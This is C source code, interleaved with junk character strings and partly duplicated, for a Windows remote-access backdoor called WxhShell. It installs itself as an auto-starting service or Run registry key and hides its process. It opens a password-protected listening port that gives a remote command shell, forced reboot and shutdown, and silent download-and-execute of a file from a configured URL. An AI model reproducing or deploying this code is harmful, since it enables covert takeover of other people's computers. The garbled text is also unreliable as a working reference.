{7j g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lv=q( & g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b5H}0< NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); { Z
k^J 7YD+zd: if (!NtQueryInformationProcess) return 0; FWJ**J 4_5f4%S hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HSysME1X:/ if(!hProcess) return 0; tkZUjQIX w^Y/J4 I0 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <L8|Wz EtzSaB*| CloseHandle(hProcess); yVnG+R& !*Is0`` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MoN0w.V if(hProcess==NULL) return 0; lGr=I-= @Pk<3.S0 HMODULE hMod; B>c$AS\5y char procName[255]; /V 09Na,N unsigned long cbNeeded; &u[{V R: ;Tnid7:S if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `$Rgn3 HghdTs CloseHandle(hProcess); jz_Y|"{`v X PyDZk/m if(strstr(procName,"services")) return 1; // 以服务启动 Qu[QcB{ro- m[xl)/e return 0; // 注册表启动 ZN#b5I2Pf } 8)bR\s cy.r/Z} // 主模块 0&sa#g2 int StartWxhshell(LPSTR lpCmdLine) yn}Dj9(q { H;4QuB'^ SOCKET wsl; T+nID@"36 BOOL val=TRUE; =tD*,2] int port=0; nfF$h}<o+ struct sockaddr_in door; \4wMv[;7 #dae^UjM if(wscfg.ws_autoins) Install(); DAb/B r|UJJ9i port=atoi(lpCmdLine); 1l$C3c %4m Nk}tyH if(port<=0) port=wscfg.ws_port; GqxnB k1 dvjj"F'Bf WSADATA data; UgAp9$=z if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0]bt}rh xx!8cvD4? if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; SPE)db3 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v^ @)&, door.sin_family = AF_INET; H9)n<r door.sin_addr.s_addr = inet_addr("127.0.0.1"); rb-ao\ door.sin_port = htons(port); y#B=9Ri=z U\Vg &"P if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
j5/pVXO closesocket(wsl); P6.PjK!Ar return 1; ldUZ\z(* } v|(]u3=1_ nQmHYOF% if(listen(wsl,2) == INVALID_SOCKET) { 3`yO&upk closesocket(wsl); kyAN O return 1; xH\\#4/ }
]S4"JcM Wxhshell(wsl); I :<,9. WSACleanup(); xg/( 7*uN[g#p return 0; .4\I?
Y
M:9m) } 9k ~8n9 pFY*Y>6ar // 以NT服务方式启动 :@i+yN cV VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~'%d]s+q { G/p\MzDko DWORD status = 0; G^t)^iI"' DWORD specificError = 0xfffffff; )iw-l~y; FDD=I\Ic serviceStatus.dwServiceType = SERVICE_WIN32; ~\JB)ca. serviceStatus.dwCurrentState = SERVICE_START_PENDING; Zb=NcEPGy serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J[:#(c&c!1 serviceStatus.dwWin32ExitCode = 0; ^(^P#EEG serviceStatus.dwServiceSpecificExitCode = 0; m@XX2l9:9 serviceStatus.dwCheckPoint = 0; ISC>]` serviceStatus.dwWaitHint = 0; ;/$pxD |1!fuB A hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tV(iC~/ if (hServiceStatusHandle==0) return; -:%QoRCy C/Q20 status = GetLastError(); 0a89<yX if (status!=NO_ERROR) "O>~osj { g)czJ=T2 serviceStatus.dwCurrentState = SERVICE_STOPPED; \JM6zR^Ef serviceStatus.dwCheckPoint = 0; m8F$h- serviceStatus.dwWaitHint = 0; Ag9GYm serviceStatus.dwWin32ExitCode = status; aeUgr! serviceStatus.dwServiceSpecificExitCode = specificError; 6d]4
%Q T SetServiceStatus(hServiceStatusHandle, &serviceStatus); a%Q`R;W return; c
qCNk } %cn1d>M+I 6"G(Iq'2t3 serviceStatus.dwCurrentState = SERVICE_RUNNING; "L]v:lg3 serviceStatus.dwCheckPoint = 0; ]Ik~TW& serviceStatus.dwWaitHint = 0; }&=l)\e if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E~}H,*) } $a~ N9 M}H# // 处理NT服务事件,比如:启动、停止 TNqL ')f VOID WINAPI NTServiceHandler(DWORD fdwControl) 4j3_OUwWZx { ,JdBVt switch(fdwControl) 8(4!x$,Z5 { .t\J@?Z case SERVICE_CONTROL_STOP: L;opQ~g serviceStatus.dwWin32ExitCode = 0; J.XkdGQ serviceStatus.dwCurrentState = SERVICE_STOPPED; ks.p)F>] serviceStatus.dwCheckPoint = 0; _m?i$5 serviceStatus.dwWaitHint = 0; &6CDIxH{ { V]--d33/a SetServiceStatus(hServiceStatusHandle, &serviceStatus); \2 DED } 0x~+=GUN return; [!%5(Ro_ case SERVICE_CONTROL_PAUSE: }Q: CZ serviceStatus.dwCurrentState = SERVICE_PAUSED; wqDf\k}'v break; xBxiBhqzF case SERVICE_CONTROL_CONTINUE: zqj|$YNC serviceStatus.dwCurrentState = SERVICE_RUNNING; uxxk&+M break; w&H>`l06
case SERVICE_CONTROL_INTERROGATE: NE#`ZUr3 break; @Dsw.@/ }; `/T.u&QF SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1;~sNSTo } W^3 Jg2gE &I-:=ir // 标准应用程序主函数 q0%QMut% int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Pxf>=kY { >6Pe~J5,: }R+#>P // 获取操作系统版本 VvIUAn OsIsNt=GetOsVer(); _"p(/H GetModuleFileName(NULL,ExeFile,MAX_PATH); q(~jP0pj% /F.<Gz;w // 从命令行安装 ?cWwt~N9 if(strpbrk(lpCmdLine,"iI")) Install(); tF,`v{-up -_9*BvS]R // 下载执行文件 3L==p`
if(wscfg.ws_downexe) { UUz{Qm% if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;V~x[J|x WinExec(wscfg.ws_filenam,SW_HIDE); olQP>sa } 1@I#Fv dn'|~zf. if(!OsIsNt) { Sm {Sq // 如果时win9x,隐藏进程并且设置为注册表启动 VTL_I^p HideProc(); [H\0
' StartWxhshell(lpCmdLine); r[ k } <[ dt2)%L> else " TCJT390 if(StartFromService()) /D9#v1b // 以服务方式启动 _}47U7s8 StartServiceCtrlDispatcher(DispatchTable); jl}9R]Y_2 else J1(SL~e], // 普通方式启动 "\Dqtr w StartWxhshell(lpCmdLine); Y!]a*== }8 ;,2E*z return 0; =k d-rIBc } pFd{Tdh 91R7Rrne vxf09v{- uDG>m7(}/h =========================================== Fp?M@ #@YKNS[ Ge=6l0 5I[:.o0 }#.OJub MjQ>&fUK " |^Yz*r?BJ D@X"1X!F`G #include <stdio.h> ;C =d(
pY #include <string.h> -}xK>
[" #include <windows.h> y)|d`qC\ #include <winsock2.h> N:64Gko"K #include <winsvc.h> >P(.yQ8&kL #include <urlmon.h> u)EtEl7Wq jHT^I
as #pragma comment (lib, "Ws2_32.lib") _t]Q*i0p #pragma comment (lib, "urlmon.lib") z{BgAI, r-S%gG}~E #define MAX_USER 100 // 最大客户端连接数 v"
#8^q #define BUF_SOCK 200 // sock buffer Edc3YSg%; #define KEY_BUFF 255 // 输入 buffer F&p42!" ]4c*Nh%8 #define REBOOT 0 // 重启 "MzBy)4Q #define SHUTDOWN 1 // 关机 H;a) `R3 D
dwFKc& #define DEF_PORT 5000 // 监听端口 *>aVU' @ukL!AV?Y #define REG_LEN 16 // 注册表键长度 ~)pZ5%C #define SVC_LEN 80 // NT服务名长度 o:UNSr '_DB0_Dp // 从dll定义API GZ5 DI+3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \COoU(" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (JOR:
1aT typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z! /_H($ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Yt_tAm 6&i])iH // wxhshell配置信息 ?gAwMP(> struct WSCFG { =v|$dDz int ws_port; // 监听端口 +5O^{Ce6 char ws_passstr[REG_LEN]; // 口令 $pPc}M[h int ws_autoins; // 安装标记, 1=yes 0=no &<&eKq char ws_regname[REG_LEN]; // 注册表键名 [KGj70|~ char ws_svcname[REG_LEN]; // 服务名 \{*`-Pv char ws_svcdisp[SVC_LEN]; // 服务显示名 _o?aO C char ws_svcdesc[SVC_LEN]; // 服务描述信息 t#f-3zd9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w"kBAi& int ws_downexe; // 下载执行标记, 1=yes 0=no X/%!p<}:' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9^sz,auB char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /3Y"F"`M. ~_CZ1 }; | LZ+_ G a$2o6 // default Wxhshell configuration @~=d4Wj6 struct WSCFG wscfg={DEF_PORT, FS)C<T]t "xuhuanlingzhe", 8rBa}v9 1, &-IkM%_A9 "Wxhshell", S_AN.8T "Wxhshell", ,{ 0&NX "WxhShell Service", o@$pyU8 "Wrsky Windows CmdShell Service", I+Qt5Ox "Please Input Your Password: ", aY,'^S 1, { O=_c|u{N "http://www.wrsky.com/wxhshell.exe", Y^#>3T "Wxhshell.exe" >;M STHeW }; bjwl21;{ ]~3a ~
// 消息定义模块 Y2uy@j*N char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /viBJ`-O char *msg_ws_prompt="\n\r? for help\n\r#>"; hG<W*g char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R4[|f0l}s char *msg_ws_ext="\n\rExit."; #8v l2qWbi char *msg_ws_end="\n\rQuit."; -idbR[1{? char *msg_ws_boot="\n\rReboot..."; T-s[na(/L char *msg_ws_poff="\n\rShutdown..."; >Wd=+$!I char *msg_ws_down="\n\rSave to "; *g'%5i1ed (L1O;~$ char *msg_ws_err="\n\rErr!"; /_(l:q^ char *msg_ws_ok="\n\rOK!"; e9k$5ps S}/ZHo char ExeFile[MAX_PATH]; Y)S
f; int nUser = 0; QUXr#!rPY| HANDLE handles[MAX_USER]; ?ODBW/{[G int OsIsNt; M@. 2b. hR[_1vuIu SERVICE_STATUS serviceStatus; S[/D._5QD% SERVICE_STATUS_HANDLE hServiceStatusHandle; >"]t4]GVf <c(%xh46 // 函数声明 1X&scVw int Install(void); "Q.C1#W}. int Uninstall(void); xJ\sm8 int DownloadFile(char *sURL, SOCKET wsh); CF_2ez1u0y int Boot(int flag); bM
W}.v! void HideProc(void); *$t =Lh int GetOsVer(void); 7W/55ZTmJ int Wxhshell(SOCKET wsl); sU^K5oo void TalkWithClient(void *cs); `9f7H int CmdShell(SOCKET sock); Y$hLsM\% int StartFromService(void); pug;1UZ int StartWxhshell(LPSTR lpCmdLine); !r*JGv= L_zB/(h VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sPX~>8}|VP VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]INt9Pvqm 2-duzc // 数据结构和表定义 *ES"^N/88 SERVICE_TABLE_ENTRY DispatchTable[] = >o"0QD { ?,Wm|xY {wscfg.ws_svcname, NTServiceMain}, LwI 4 2 {NULL, NULL} t.XuH# }; 7c'OIY]., SzjylUYV // 自我安装 ]4_)WUS.c int Install(void) ]A_A4=[w { 2Nx#:Rz char svExeFile[MAX_PATH]; V\%s)kq HKEY key; \xk8+= /A strcpy(svExeFile,ExeFile); 3=lQZi<]% cn$0^7? // 如果是win9x系统,修改注册表设为自启动 p!LaR.8] if(!OsIsNt) { a/q8v P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v`"BXSmp{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u9}LvQh_6, RegCloseKey(key); Uv:NY1(3! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AT^MQvn
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kqS_2[=] RegCloseKey(key); =:^f6"p&Z return 0; {*qz<U> } _7-P8"m } (=D^BXtH| } 9>L{K
else { J35[GZ';D } q r
, // 如果是NT以上系统,安装为系统服务 YksJ$yH^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >56;M7b(K if (schSCManager!=0) 5AAPtZ\lH { <K~mg<ff$ SC_HANDLE schService = CreateService YjeHNPf ( PKNpR schSCManager, Si[xyG6= wscfg.ws_svcname, uI&<H T? wscfg.ws_svcdisp, IlP@a[:_ SERVICE_ALL_ACCESS, 0p \,}t\E SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l:"zYcp% SERVICE_AUTO_START, 5sF?0P;ln SERVICE_ERROR_NORMAL, jE, oEt O; svExeFile, l`<u\], NULL, 0o&c8?@j NULL, - z"D_5 NULL,
\]p[DYBY# NULL, vM/D7YS: NULL @I0[B<,:G ); [yfi:|n1 if (schService!=0) qRA,-N { 3l''
CloseServiceHandle(schService); T#G
(&0J5 CloseServiceHandle(schSCManager);
IWAp strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VTJ,;p_UH strcat(svExeFile,wscfg.ws_svcname); \_zp4Xb2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {
BDUl3T RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 92Df.xI} RegCloseKey(key); Z<Ke/Xi return 0; 8G
p%Q } dI9u:- } JNgl CloseServiceHandle(schSCManager); S"joXmJ/-C } 7S]akcT/ } J*'#!
xIa "( P-VX return 1; D4CiB"g3* } :k.C|V!W %'i`Chc^!; // 自我卸载 `!iVMTp int Uninstall(void) O'<cEv'B* { g_t1(g*s HKEY key; SAw. 6<Wy- l?LP:;S if(!OsIsNt) { Lr`G. e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { El`f>o+EJ RegDeleteValue(key,wscfg.ws_regname); .6nNqGua1 RegCloseKey(key); C
Ejf&n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ax+P)yz RegDeleteValue(key,wscfg.ws_regname); h"+|)'*n RegCloseKey(key); OQm-BL return 0; LTc=D } XDrNc!XN } 4^rO K } J$Nc9?|ZZ else { O
E56J-*}x 7|eD}=jy SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1k! xG$g0 if (schSCManager!=0) 6H_7M(f { %o9;jX SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~%o?J"y if (schService!=0) {:r8X { C 9:5c@G if(DeleteService(schService)!=0) { qdeS*rp\ CloseServiceHandle(schService); -P>f2It CloseServiceHandle(schSCManager); ;F!wyTF>} return 0; 4TW>BA } BJi CloseServiceHandle(schService); 2K1odqO# } K1K3s<y+ CloseServiceHandle(schSCManager); OCVF+D : } E
_DSf } [J.-gN$X@ zS##YR return 1; +WP } =9ISsI\Y6 D.\s mk // 从指定url下载文件 :{Crc int DownloadFile(char *sURL, SOCKET wsh) fhZD[m#D { ;0f?-W?1 HRESULT hr; 'YcoF;&[C char seps[]= "/"; N6BFs( char *token; -K K)}I` char *file; 9e|]H+y char myURL[MAX_PATH]; ^"!j m char myFILE[MAX_PATH]; $|yO
mh ywRwi~ strcpy(myURL,sURL); .(8sa8{N token=strtok(myURL,seps); V:w=h>z8 while(token!=NULL) -gpF%g`H { mnM!^[|z file=token; C4jqT token=strtok(NULL,seps); ,mE*k79L6 } P`K?k< &91U(Go GetCurrentDirectory(MAX_PATH,myFILE); k*8
ld-O strcat(myFILE, "\\"); aT %A<'O! strcat(myFILE, file); loLN
~6 send(wsh,myFILE,strlen(myFILE),0); L[Dr[ send(wsh,"...",3,0); FM3DJ?\L- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aQK>q. t if(hr==S_OK) )`ZTu -| return 0; jHxg(] else 5`B!1 return 1; qdFYf/y )NwIEk>Tf } XY;cz ?4U|6|1 // 系统电源模块 '}D$"2I* int Boot(int flag) "Oh(&N:U { iS{8cN3R HANDLE hToken; y:N
QLL> TOKEN_PRIVILEGES tkp; >e7w!v] ,
LP |M: if(OsIsNt) { *$ihNX]YG OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?{"_9g9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); il \q{Y
o tkp.PrivilegeCount = 1; *k(>Qsb " tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rN'')n/F AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _O-ZII~ if(flag==REBOOT) { uV:;q>XM'% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hYS*J908 return 0; 8tM40/U$ } 72gQ<Si else { {/x["2a1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4$+9Wv return 0; qn+b*4 } <xm>_~,w } tnbtfG;z# else { ~
l'dpg if(flag==REBOOT) { d5zF9;[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Sn\S`D return 0; j7vp@l6`L } ^&'&Y> else { )vFJx[a<n` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wj fk > return 0; jrMY]Ea2` } p=Nord } ubn`w=w$ >4A~?= return 1; ,1"w2, = } H*DWDJxmV :RsO$@0G // win9x进程隐藏模块 l@8UL</W void HideProc(void) F
j_r
n { H1(Zzn1 2l)J,z
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K +oFu% if ( hKernel != NULL ) S+Aq0B< { 5YlY=J pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qsjTo@A ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m]yt6b4 FreeLibrary(hKernel); Y~qv 0O6K } KKR@u(+"a km;M!}D return; x<'(b7{U0 } :wJ=t/ho 9{?L3V!+r // 获取操作系统版本 >g%^hjJ int GetOsVer(void) u.wm;eK[ { c$)Y$@D OSVERSIONINFO winfo; nDh]: t= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D:9/;9V GetVersionEx(&winfo); h)EHaaf if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SCClD6k=V return 1; [b:$sR; else Y"GU"n~ return 0; I*/?*p/I } qW57h8M mJ=3faM // 客户端句柄模块 pSQ)DqW int Wxhshell(SOCKET wsl) y9?~^pTx { uaMf3HeYV SOCKET wsh; B5>1T[T'- struct sockaddr_in client; 7Vf2Qx1_ DWORD myID; "T/
vE 289@O-
while(nUser<MAX_USER) jXEuK:exQ { sp4J%2b int nSize=sizeof(client); &u62@ug#} wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y$VYWcFE if(wsh==INVALID_SOCKET) return 1; +~O0e-d mC
P*v- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8SvPDGu`] if(handles[nUser]==0) _zG9.?'b3 closesocket(wsh); $M F
U9<O else )$#]h]ac nUser++; OW(45 } cTO\Vhg WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8Wn;U!qT wN [mU return 0; ;2||g8' } -c-#1_X5 '-sAi // 关闭 socket En:.U9?X void CloseIt(SOCKET wsh) bkQEfx. { \ltA&}! closesocket(wsh); [|gh q nUser--; 2IgTB|2 ExitThread(0); D-8NDa(` } P"dWh;I_ 5"4O_JQ // 客户端请求句柄
?*i qg[: void TalkWithClient(void *cs) bT|NZ!V { I#0WN W+3ZuAP\n SOCKET wsh=(SOCKET)cs; ,Vz
1l_7 char pwd[SVC_LEN]; yoKl.U"& char cmd[KEY_BUFF]; usb.cE3z char chr[1]; 'JR2@W`]] int i,j; /5^"n4/M k}-@N;zq while (nUser < MAX_USER) { p@H]F< FNpMu3Q if(wscfg.ws_passstr) { +@]b}W if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t:tT Zh //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =%,;=4w //ZeroMemory(pwd,KEY_BUFF); ITj0u&H: i=0; W+
tI(JZ while(i<SVC_LEN) { vkdU6CZO ze!S4&B // 设置超时 >[ r
TUn; fd_set FdRead; | ,bCYK struct timeval TimeOut; __p\`3(,' FD_ZERO(&FdRead); E DuLgg@ FD_SET(wsh,&FdRead); 3,~M`~B TimeOut.tv_sec=8; Si,[7um TimeOut.tv_usec=0; N zY}-:{ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I^iJ^Z]vx if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S Rs~p X {,OP/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PI>PEge!& pwd=chr[0]; @5n!t1( if(chr[0]==0xd || chr[0]==0xa) { Kq}/`P pwd=0; %G6ml, break; %Z@+K_X9x } S<"M5e i++; *I;,|Jj k } 6Z~u2& Txkmt$h // 如果是非法用户,关闭 socket SFrQPdX6V if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l[=7<F } v,Lv4) (0s7<&Iu send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LG6VeYe|\X send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V[-4cu,Ph^ ^06f\7A while(1) { w9I7pIIl 8X=cGYC# ZeroMemory(cmd,KEY_BUFF); TRwlUC3hQ rrK&XP& // 自动支持客户端 telnet标准 f, 9jK9/$ j=0; (~F{c0\C while(j<KEY_BUFF) { O5HK2Xg,C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :'aT4 cmd[j]=chr[0]; p<1z!`!P if(chr[0]==0xa || chr[0]==0xd) { J&4QI( b. cmd[j]=0; )Lht}I ]: break; I`"8}d@Jm } J+f
.r|? j++; tx}}Kd } J(*qOGBD aY 8"Sw|4 // 下载文件 >jEn>H? if(strstr(cmd,"http://")) { (vm&&a@ send(wsh,msg_ws_down,strlen(msg_ws_down),0); fMe "r*SU if(DownloadFile(cmd,wsh)) ugexkdgM send(wsh,msg_ws_err,strlen(msg_ws_err),0); |FZ)5 else 74YMFI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =a>a A Z } sBP.P7u else { K8NoY6 u"IYAyzL switch(cmd[0]) { j.Ro(0% hS]g^S==2h // 帮助 [r'PGx case '?': { Y 1a[HF^- send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SH>L3@Za break; Az4+([ }
nU]n]gd // 安装 B6)d2O9C case 'i': { 2N_8ahc if(Install()) =}N&c4I[j send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gt4| ] else {~.~ b+v send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N9LBji;nH break; j-wSsjLk } *yJCnoF // 卸载 ,"?h_NbF case 'r': { ?>b>LDpx? if(Uninstall()) L><# I send(wsh,msg_ws_err,strlen(msg_ws_err),0); WP, Ll\K)7 else {awv=s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); / fBi9=}+ break; q{v:T}Q|A } D=}UKd // 显示 wxhshell 所在路径 %H=d_Nm{ case 'p': { YXE?b@W" char svExeFile[MAX_PATH]; X`km\\* strcpy(svExeFile,"\n\r"); lz>YjK: strcat(svExeFile,ExeFile); f49pIcAq send(wsh,svExeFile,strlen(svExeFile),0); X._skq break; z-<091, } 0TA{E-A // 重启 Kx.'^y case 'b': { ]h4^3 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :;[pl|}tM if(Boot(REBOOT)) yZup4#>8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZH8O%>! else { %:I\M)t}k closesocket(wsh); ,~^0AtLv ExitThread(0); m0xL'g6F } (_S`9Z8= break; :s8^nEK } K)z{R n // 关机 6"@+Jz case 'd': { 0* Ox>O> send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EBjSK/ if(Boot(SHUTDOWN)) *_G(*yAe( send(wsh,msg_ws_err,strlen(msg_ws_err),0); O;RsYs9 else { +X[+SF)! closesocket(wsh); o&]b\dV ExitThread(0); t']d_Vcza } L ]HtmI break; wQR>S>p } l ;"v&? // 获取shell @<]sW*s case 's': { KU,KEtf CmdShell(wsh); nx#0*r}5 closesocket(wsh); USgZ%xk2 ExitThread(0); ^0A}iJL break; 9Q{-4yF9k } y V=Ku // 退出 p=F!)TnJN case 'x': { yo\R[i( send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (Fc\*Vn CloseIt(wsh); +O`3eP`u break; IXE`MLc } j8k5B" // 离开 >b2j j+8 case 'q': { Jg3OMUt send(wsh,msg_ws_end,strlen(msg_ws_end),0); FT.6^)- closesocket(wsh); }DH3_M! WSACleanup(); }^|g|xl! exit(1); uTsxSkHb/ break; s"u6po.' } [
j'L*j } y $,K^f } K9{3,!1 aYTVYg // 提示信息 ^L}ICm_# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "R8: s } @.IGOh } w>-@h>Ln [ .]x y return; 5%H(AaG*q } !,D7L6N HEqTlnxUu // shell模块句柄 R8[l\Y>Ec int CmdShell(SOCKET sock) ?HD(EGdx { c6v@6jzx0Y STARTUPINFO si; &(M][Uo{|' ZeroMemory(&si,sizeof(si)); tK@|sZ>3\ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;#'YO1`gf3 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .3xpDVW^e PROCESS_INFORMATION ProcessInfo; CC{*'p6 char cmdline[]="cmd"; yT[CC>]l CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
Xe ;Eu return 0; N.\?"n } jb0wP01R 9;W2zcN // 自身启动模式 *\#/4_yB} int StartFromService(void) 12 {F { Uh6LU5 typedef struct 5ynBVrYf { ;Fo%R$y DWORD ExitStatus; c@SNbY4}% DWORD PebBaseAddress; }sy^ed DWORD AffinityMask; VO"/cG;]* DWORD BasePriority; 6JrwPZB ULONG UniqueProcessId; Zv[D{ ULONG InheritedFromUniqueProcessId; Y.}"<{RQ } PROCESS_BASIC_INFORMATION; /l.:GH36f 4OX2GH=W PROCNTQSIP NtQueryInformationProcess; qq
Vjx?bKe W=E+/ZvPt static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; { XI 0KiE static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X`/GiYTu @wvgMu HANDLE hProcess;
b#uNdq3 PROCESS_BASIC_INFORMATION pbi; n*gr(S VtP^fM^{ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _v/w
,z if(NULL == hInst ) return 0; fL xGaOT W4OL{p-\/ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e0s* g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !
qVuhad. NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J&P{7a BE0Ov{' if (!NtQueryInformationProcess) return 0; Dx)>`yJk$; {^J/S}L] hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GtuA94=!V& if(!hProcess) return 0; `!Z0;qk %rFR:w`{ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x3>ZO.Q >m$jJlAv8 CloseHandle(hProcess); D_SXxP[! g `}r)0,Z}3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xL&evG# if(hProcess==NULL) return 0; LiG!xs pwF+ZNo HMODULE hMod; h+gaKh=k+ char procName[255]; XC(:O(jdA2 unsigned long cbNeeded; 64LX[8Ax# fMpxe( if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `p!&>,lrk v9,<2 